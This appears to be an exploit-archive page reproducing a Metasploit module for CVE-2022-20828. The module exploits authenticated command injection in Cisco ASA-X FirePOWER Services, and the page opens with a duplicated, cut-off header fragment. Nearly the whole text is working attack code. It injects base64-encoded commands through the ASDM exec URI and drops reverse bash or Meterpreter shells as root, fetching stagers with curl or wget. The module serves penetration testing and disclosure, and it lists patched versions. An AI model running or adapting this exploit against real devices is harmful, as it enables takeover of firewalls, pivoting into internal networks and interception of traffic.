Vulnerabilities

Cisco ASA-X With FirePOWER Services Authenticated Command Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco ASA-X with FirePOWER Services Authenticated Command Injection',
'Description' => %q{
This module exploits an authenticated command injection vulnerability affecting
Cisco ASA-X with FirePOWER Services. This exploit is executed through the ASA's
ASDM web server and lands in the FirePower Services SFR module's Linux virtual
machine as the root user. Access to the virtual machine allows the attacker to
pivot to the inside network, and access the outside network. Also, the SFR
virtual machine is running snort on the traffic flowing through the ASA, so
the attacker should have access to this diverted traffic as well.

This module requires ASDM credentials in order to traverse the ASDM interface.
A similar attack can be performed via Cisco CLI (over SSH), although that isn't
implemented here.

Finally, it's worth noting that this attack bypasses the affects of the
`lockdown-sensor` command (e.g. the virtual machine's bash shell shouldn't be
available but this attack makes it available).

Cisco assigned this issue CVE-2022-20828. The issue affects all Cisco ASA that
support the ASA FirePOWER module (at least Cisco ASA-X with FirePOWER Service,
and Cisco ISA 3000). The vulnerability has been patched in ASA FirePOWER module
versions 6.2.3.19, 6.4.0.15, 6.6.7, and 7.0.21. The following versions will
receive no patch: 6.2.2 and earlier, 6.3.*, 6.5.*, and 6.7.*.
},
'License' => MSF_LICENSE,
'Author' => [
'jbaines-r7' # Vulnerability discovery and Metasploit module
],
'References' => [
[ 'CVE', '2022-20828' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asasfr-cmd-inject-PE4GfdG' ],
[ 'URL', 'https://www.rapid7.com/blog/post/2022/08/11/rapid7-discovered-vulnerabilities-in-cisco-asa-asdm-and-firepower-services-software/' ],
[ 'URL', 'https://www.cisco.com/c/en/us/td/docs/security/asa/quick_start/sfr/firepower-qsg.html']
],
'DisclosureDate' => '2022-06-22',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X64,],
'Privileged' => true,
'Targets' => [
[
'Shell Dropper',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => ARCH_X64,
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'wget' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'
}
}
]
],
'DefaultTarget' => 1,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'MeterpreterTryToFork' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', '']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', '']),
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/admin/exec/session+sfr+do+`id`'),
'headers' =>
{
'User-Agent' => 'ASDM/ Java/1',
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
}
})
return CheckCode::Unknown('The target did not respond to the check.') unless res
return CheckCode::Safe('Authentication failed.') if res.code == 401
return CheckCode::Unknown("Received unexpected HTTP status code: #{res.code}.") unless res.code == 200

if res.body.include?('Invalid do command uid=0(root)')
return CheckCode::Vulnerable("Successfully executed the 'id' command.")
end

CheckCode::Safe('The command injection does not appear to work.')
end

def execute_command(cmd, _opts = {})
# base64 encode the payload to work around bad characters and then uri encode
# the whole thing before yeeting it at the server
encoded_payload = Rex::Text.uri_encode("(base64 -d<<<#{Rex::Text.encode_base64(cmd)}|sh)&")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/admin/exec/session+sfr+do+`#{encoded_payload}`"),
'headers' =>
{
'User-Agent' => 'ASDM/ Java/1',
'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
}
})

if res
fail_with(Failure::Unreachable, 'The target did not respond.') unless res
fail_with(Failure::NoAccess, 'Could not log in. Verify credentials.') if res.code == 401
fail_with(Failure::UnexpectedReply, "Received unexpected HTTP status code: #{res.code}.") unless res.code == 200
end

if session_created?
# technically speaking, bash can hold the connection open and skip all the res checks
# also passing the res checks doesn't actually mean that the target was exploited so
# check a session was created to get verification
print_good('Session created!')
else
fail_with(Failure::NotVulnerable, 'The exploit was thrown but not session was created.')
end
end

def exploit
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager
end
end
end